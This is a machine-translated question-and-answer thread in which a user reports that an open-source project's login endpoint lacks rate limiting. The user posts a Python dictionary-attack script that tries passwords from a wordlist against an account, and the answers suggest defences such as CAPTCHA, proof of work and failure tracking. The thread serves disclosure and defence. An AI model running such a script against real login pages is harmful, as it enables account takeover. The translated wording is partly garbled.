2015-05-05 3 views
2

Я заставлял бота подписываться на сайте сайта проекта с открытым исходным кодом (не говоря уже о каких-либо именах), и я заметил, что мой бот не наносил максимальный запрет на попытки входа в систему, независимо от того, сколько раз я пытался для входа с неправильными учетными данными.Является ли этот вход в Python практически незащищенным?

def login(account,passwd): 
    r = requests.post("http://nottheprojectname.com/~~app/action.php", 
        data={'act': "login", 
          'name': account, 
          'pass': passwd, 
          'keyid': "" 
        }) 

return r.text 

Я использовал сценарий Python, как показано выше, чтобы войти в систему, и я решил сделать тестовый скрипт демонстрации того, как учетная запись может быть грубой принудительно.

import re 
import requests  

def dictionary_crack(account): 
    attempts = 0 
    with open('giant_PW_list.txt', 'r') as f: 
     for passwd in f: 
      resp = login(account, passwd) 
      if re.findall("loggedin\"\:[a-z]+",resp) == [u'loggedin":true']: 
       return account + ": " + passwd 
      else: 
       attempts += 1 
       print trys 
     else: 
      input("All login attemts on "+account+" failed") 

Я показал этот скрипт для администраторов проекта, и они отклонили это говоря, что это не будет работать, потому что попытки входа будут замедляться преформы. Тем не менее, я попробовал это на тестовой учетной записи, которую я сделал, и смог преформировать около 10 000 попыток входа в минуту с одним из этих запущенных скриптов. Не очень быстро для атаки грубой силы, но это, безусловно, не кажется незначительным (особенно если несколько атак были предварительно сформованы одновременно на одной учетной записи одновременно с последовательными словарями).

Все это кажется смешным и легко фиксируемым для меня. Я не испытываю проблем с веб-безопасностью, поэтому я чувствую конфликтующие корректирующие люди, которые гораздо более осведомлены в области веб-безопасности, чем я.

+0

Правильный способ сделать подобный подход грубой силы «слишком медленным» будет заключаться в том, чтобы ограничить попытки входа в систему примерно одним секундой. Если администраторы сайта не прослушивали, я предлагаю поговорить с пользователями сайта, потому что их учетные записи будут скомпрометированы, если (когда) сайт будет взломан. – TigerhawkT3

+0

to slow -> слишком медленная заготовка -> выполнить И это скорее словарь, чем грубая атака ... –

+0

@ TigerhawkT3 Спасибо. Мне не нужно самостоятельно перестраивать систему (хотя, поскольку это с открытым исходным кодом, я мог бы исправить ее). Я хотел, чтобы показать администратору сайта внешнюю ссылку, чтобы они меня слушали. –

ответ

3

Сервер должен отслеживать неудачные попытки входа по имени пользователя и по паролю. Вам нужно сохранить это в приложении/глобальном состоянии, а не в сеансе.

Даже не беспокойтесь, отслеживая IP-адди, blackhat просто использует анонимный прокси.

После неудачных попыток входа в систему пользователя или попыток ошибочного пароля P сервер должен потребовать правильное значение CAPTCHA или Подтверждение работы и кинжал ;.

Если пользователь аутентифицируется, верните файл cookie HMAC'd "trusted user agent", чтобы пользователь мог пропустить CAPTCHA или Proof of Work в будущем.

Не блокируйте учетные записи людей, так как вы просто позволяете хакеру удалять их. Не спать() на сервере, так как вы держите соединения открытыми дольше, чем необходимо, возможно, DoSing.

Вы можете многое сделать с помощью modsecurity.

Вот OWASP руководство: https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks

и кинжала; Попросите веб-браузера рассчитать простые коэффициенты реального большого числа

+0

Спасибо. Я действительно хотел, чтобы показать администратору сайта этот пост, чтобы дать моей позиции некоторую легитимность. –

+0

Эта информация была действительно информативной +1 –

0

Администраторы сайта верны тем, что, когда пользователи имеют хорошие случайные пароли, онлайн-грубая сила не является разумной. Возьмем, например, все возможные пароли длиной 7 символов. Предположим, что каждый из паролей - Alpha Numeric [a-zA-Z], 0-9 или специальный символ! @ # $%^& *() _ + - = Это дает нам 26 (нижний) + 26 (верхний) + 14 (специальный символ) = 66 возможностей для каждого символа. Для 7-символьных паролей 66^7, примерно равных 5.4 * 10^12 или 5 триллионов паролей. Для проверки каждого из этих паролей индивидуально по 1000 паролей в минуту потребуется около 10 378 лет.

Этот сценарий делает плохое предположение, что пользователи имеют хорошие случайные пароли. Это было доказано снова и снова, чтобы быть неверным, и, вероятно, пароль пользователей можно угадать, используя легко доступные списки паролей.Это когда методы блокировки грубой форсировки полезны в качестве другого плаката.

 Смежные вопросы

  • Нет связанных вопросов^_^